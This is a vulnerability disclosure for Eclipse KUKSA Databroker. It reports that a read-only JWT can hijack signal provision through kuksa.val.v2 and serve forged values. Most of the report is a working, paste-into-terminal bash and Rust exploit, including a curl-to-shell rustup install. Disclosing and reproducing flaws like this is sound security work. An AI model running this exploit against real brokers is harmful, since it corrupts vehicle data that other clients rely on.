[Eclipse KUKSA Databroker] Authorization bypass in kuksa.val.v2 allows read-scope provider hijack
Type of issue
Authorization bypass / privilege escalation leading to remote data integrity compromise in the production gRPC API (kuksa.val.v2).
Affected version(s)
Reproduced on commit: 2936b2511bfadc519694e25d12f92402bdd763f6
Repository:
https://github.com/eclipse-kuksa/kuksa-databroker
Impact
A client holding only a read JWT scope can still register itself as a signal provider through the production kuksa.val.v2 OpenProviderStream API by sending ProvideSignalRequest. Once registered, the attacker can answer forwarded GetProviderValueRequest messages and cause other clients to receive attacker-controlled values for signals they read. This breaks authorization boundaries and allows unauthorized takeover/hijacking of signal provision. In practice, this means a low-privileged remote client can:
- claim signals without provide permission
- interfere with or block legitimate providers
- return forged values to other remote consumers
- compromise integrity of security-relevant vehicle/application data
How an attacker might exploit the issue
- Obtain any valid token with only read scope.
- Connect to the normal production gRPC API (kuksa.val.v2).
- Open OpenProviderStream.
- Send ProvideSignalRequest for a target signal ID.
- Wait for the broker to forward GetProviderValueRequest.
- Reply with attacker-controlled GetProviderValueResponse.
- Other clients performing GetValue / GetValues for that signal receive forged data.
Step-by-step instructions to reproduce the issue
- Clone the official repository.
- Checkout commit 2936b2511bfadc519694e25d12f92402bdd763f6.
- Build the official databroker.
- Start the official databroker with the repository’s JWT public key.
- Run the PoC below.
- Observe that a read-only token successfully registers as provider and that the original signal value is replaced by an attacker-controlled value.
Observed reproduction output:
- token_scope=read
- original_value=0.6.1-dev.0
- spoofed_value=ATTACKER_CONTROLLED
- read_scope_provider_hijack_reproduced=true
Location of affected source code
Commit: 2936b2511bfadc519694e25d12f92402bdd763f6
Relevant source locations:
- databroker/src/grpc/kuksa_val_v2/val.rs
- databroker/src/broker.rs
- proto/kuksa/val/v2/val.proto
Full paths of source files related to manifestation
- databroker/src/grpc/kuksa_val_v2/val.rs
- databroker/src/broker.rs
- proto/kuksa/val/v2/val.proto
- databroker/src/main.rs
More specifically:
- databroker/src/grpc/kuksa_val_v2/val.rs: OpenProviderStream handles ProvideSignalRequest
- databroker/src/grpc/kuksa_val_v2/val.rs: register_provided_signals(...)
- databroker/src/broker.rs: register_signals(...)
- databroker/src/broker.rs: get_values_broker(...)
- proto/kuksa/val/v2/val.proto: OpenProviderStream / ProvideSignalRequest
Configuration required to reproduce the issue
- Default production gRPC API (kuksa.val.v2)
- Authorization enabled with the repository JWT public key
- No demo environment required
- No devtools required
- Reproduced over the normal TCP gRPC listener on 127.0.0.1:55555
- The PoC uses the project’s own official Rust library/client code (kuksa_val_v2, kuksa-common, databroker- proto) rather than a reimplemented protocol client
Log files
I am not attaching log files in this initial report.
Proof-of-concept
I will provide a copy-pasteable script below and a video is attached where I show you how I use the poc script. I also includede the PoC into a txt file. It is intended to be pasted directly into a WSL / Ubuntu terminal. YOU ONLY NEED TO COPY IT AND PASTE IT INTO YOU WSL / UBUNTU TERMINAL.
The script automatically:
- clones the official repository
- checks out the affected commit
- builds the official project
- starts the official server
- writes a small repro example into the cloned repository
- uses the project’s own official library/client code
- performs the full end-to-end reproduction automatically
Please treat the following block as the
PoC:
bash <<'BASH'
set -euo pipefail
REPO_URL="https://github.com/eclipse-kuksa/kuksa-databroker.git"
REPRO_COMMIT="2936b2511bfadc519694e25d12f92402bdd763f6"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/kuksa-databroker-repro-XXXXXX")}"
REPO_DIR="$WORKDIR/kuksa-databroker"
SERVER_LOG="$WORKDIR/databroker.log"
REPRO_OUT="$WORKDIR/repro.out"
need_cmd() {
command -v "$1" >/dev/null 2>&1
}
if ! need_cmd git || ! need_cmd cc || ! need_cmd c++ || ! need_cmd make || ! need_cmd curl; then
if need_cmd apt-get; then
sudo apt-get update
sudo apt-get install -y git build-essential pkg-config ca-certificates curl
else
echo "Missing required tools and no apt-get available. Need: git, cc, c++, make, curl" >&2
exit 1
fi
fi
if ! need_cmd cargo || ! need_cmd rustc; then
curl https://sh.rustup.rs -sSf | sh -s -- -y --profile minimal
fi
# shellcheck disable=SC1090
if [ -f "$HOME/.cargo/env" ]; then
. "$HOME/.cargo/env"
fi
export PATH="$HOME/.cargo/bin:$PATH"
cleanup() {
local status=$?
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" >/dev/null 2>&1 || true
wait "$SERVER_PID" >/dev/null 2>&1 || true
fi
if [ $status -ne 0 ]; then
echo
echo "Repro failed. Server log:"
echo "========================"
sed -n '1,200p' "$SERVER_LOG" 2>/dev/null || true
echo
echo "Workdir kept at: $WORKDIR"
fi
exit $status
}
trap cleanup EXIT INT TERM
echo "[*] Cloning official repo into: $REPO_DIR"
git clone "$REPO_URL" "$REPO_DIR"
cd "$REPO_DIR"
git checkout "$REPRO_COMMIT"
export CARGO_TARGET_DIR="$REPO_DIR/.repro-target"
echo "[*] Writing official-library repro example"
cat > "$REPO_DIR/lib/databroker-examples/examples/read_scope_provider_hijack.rs" <<'RS'
use std::time::Duration;
use databroker_proto::kuksa::val::v2::open_provider_stream_request::Action;
use databroker_proto::kuksa::val::v2::open_provider_stream_response;
use databroker_proto::kuksa::val::v2::value::TypedValue;
use databroker_proto::kuksa::val::v2::{
Datapoint, GetProviderValueResponse, OpenProviderStreamRequest, ProvideSignalRequest,
SampleInterval, Value,
};
use kuksa_common::ClientTraitV2;
use kuksa_val_v2::KuksaClientV2;
const TARGET_PATH: &str = "Kuksa.Databroker.CargoVersion";
const FAKE_VALUE: &str = "ATTACKER_CONTROLLED";
fn datapoint_to_string(dp: Option<Datapoint>) -> Option<String> {
let dp = dp?;
let value = dp.value?;
match value.typed_value? {
TypedValue::String(s) => Some(s),
other => Some(format!("{other:?}")),
}
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let token = std::fs::read_to_string("jwt/read-all.token")?;
let token = token.trim().to_owned();
let mut reader = KuksaClientV2::from_host("http://127.0.0.1:55555");
reader.basic_client.set_access_token(&token)?;
let metadata = reader
.list_metadata((TARGET_PATH.to_owned(), "*".to_owned()))
.await?;
let signal = metadata
.iter()
.find(|m| m.path == TARGET_PATH)
.ok_or("target path not found")?;
let signal_id = signal.id;
let original = datapoint_to_string(reader.get_value(TARGET_PATH.to_owned()).await?);
println!("token_scope=read");
println!("target_path={TARGET_PATH}");
println!("signal_id={signal_id}");
println!("original_value={}", original.as_deref().unwrap_or("<none>"));
let mut provider = KuksaClientV2::from_host("http://127.0.0.1:55555");
provider.basic_client.set_access_token(&token)?;
let mut stream = provider.open_provider_stream(None).await?;
stream
.sender
.send(OpenProviderStreamRequest {
action: Some(Action::ProvideSignalRequest(ProvideSignalRequest {
signals_sample_intervals: [(signal_id, SampleInterval { interval_ms: 0 })]
.into_iter()
.collect(),
})),
})
.await?;
let provide_response =
tokio::time::timeout(Duration::from_secs(5), stream.receiver_stream.message()).await??;
let provide_response = provide_response.ok_or("provider stream closed early")?;
match provide_response.action {
Some(open_provider_stream_response::Action::ProvideSignalResponse(_)) => {}
other => return Err(format!("unexpected first provider response: {other:?}").into()),
}
let mut hijack_stream = stream;
let responder = tokio::spawn(async move {
loop {
let msg = hijack_stream.receiver_stream.message().await?;
let msg = msg.ok_or_else(|| tonic::Status::aborted("provider stream closed"))?;
if let Some(open_provider_stream_response::Action::GetProviderValueRequest(req)) =
msg.action
{
hijack_stream
.sender
.send(OpenProviderStreamRequest {
action: Some(Action::GetProviderValueResponse(GetProviderValueResponse {
request_id: req.request_id,
entries: [(
signal_id,
Datapoint {
timestamp: None,
value: Some(Value {
typed_value: Some(TypedValue::String(
FAKE_VALUE.to_owned(),
)),
}),
},
)]
.into_iter()
.collect(),
})),
})
.await
.map_err(|e| tonic::Status::aborted(e.to_string()))?;
break Ok::<(), tonic::Status>(());
}
}
});
tokio::time::sleep(Duration::from_millis(200)).await;
let spoofed = datapoint_to_string(reader.get_value(TARGET_PATH.to_owned()).await?);
responder.await??;
println!("spoofed_value={}", spoofed.as_deref().unwrap_or("<none>"));
if spoofed.as_deref() != Some(FAKE_VALUE) {
return Err("spoofing failed".into());
}
println!("read_scope_provider_hijack_reproduced=true");
Ok(())
}
RS
echo "[*] Building official databroker"
cargo build --manifest-path "$REPO_DIR/Cargo.toml" -p databroker
echo "[*] Starting official databroker with upstream JWT public key"
"$CARGO_TARGET_DIR/debug/databroker" \
--jwt-public-key "$REPO_DIR/certificates/jwt/jwt.key.pub" \
>"$SERVER_LOG" 2>&1 &
SERVER_PID=$!
echo "[*] Waiting for 127.0.0.1:55555"
ready=0
for _ in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/55555) >/dev/null 2>&1; then
ready=1
break
fi
sleep 0.25
done
if [ "$ready" -ne 1 ]; then
echo "databroker did not start in time" >&2
exit 1
fi
echo "[*] Running official kuksa_val_v2-based repro"
cargo run \
--manifest-path "$REPO_DIR/lib/Cargo.toml" \
-p databroker-examples \
--example read_scope_provider_hijack | tee "$REPRO_OUT"
grep -q 'read_scope_provider_hijack_reproduced=true' "$REPRO_OUT"
echo
echo "[+] Repro succeeded"
echo "[+] Repo: $REPO_DIR"
echo "[+] Log: $SERVER_LOG"
echo "[+] Out: $REPRO_OUT"
BASH